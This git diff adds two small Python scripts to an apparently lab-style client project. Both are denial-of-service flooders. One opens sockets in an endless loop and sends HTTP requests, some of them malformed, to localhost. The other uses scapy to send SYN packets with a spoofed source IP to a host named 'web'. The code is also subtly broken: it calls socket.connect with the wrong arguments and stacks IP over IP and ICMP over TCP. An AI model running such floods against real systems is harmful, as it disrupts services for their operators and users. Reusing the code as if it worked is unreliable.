diff --git a/client/app.py b/client/app.py new file mode 100644 index 0000000..7410200 --- /dev/null +++ b/client/app.py @@ -0,0 +1,23 @@ +import socket +import random as r + +L=[ + "G3T / HTTP/1.1\r\nHøst: localhost\r\n\r\n", + "GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n", + "GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n" +] + +adresse="localhost" +port=80 +def attaque(): + while True: + with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s: + s.connect(adresse,port) + s.send(L[r.randint(0,2)].encode()) + +''' + +GET / HTTP/1.1 +Host: example.com + +''' \ No newline at end of file diff --git a/client/main.py b/client/main.py index 7410200..572f06a 100644 --- a/client/main.py +++ b/client/main.py @@ -1,23 +1,8 @@ -import socket -import random as r +from scapy.all import * -L=[ - "G3T / HTTP/1.1\r\nHøst: localhost\r\n\r\n", - "GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n", - "GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n" -] +while True: + for i in range(512,2048): + pkt = IP(dst='web') / IP(src='192.168.1.69')/ TCP(dport=80,sport=i,flags='S') / ICMP() + send(pkt, loop=1) + print("Sent packet") -adresse="localhost" -port=80 -def attaque(): - while True: - with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s: - s.connect(adresse,port) - s.send(L[r.randint(0,2)].encode()) - -''' - -GET / HTTP/1.1 -Host: example.com - -''' \ No newline at end of file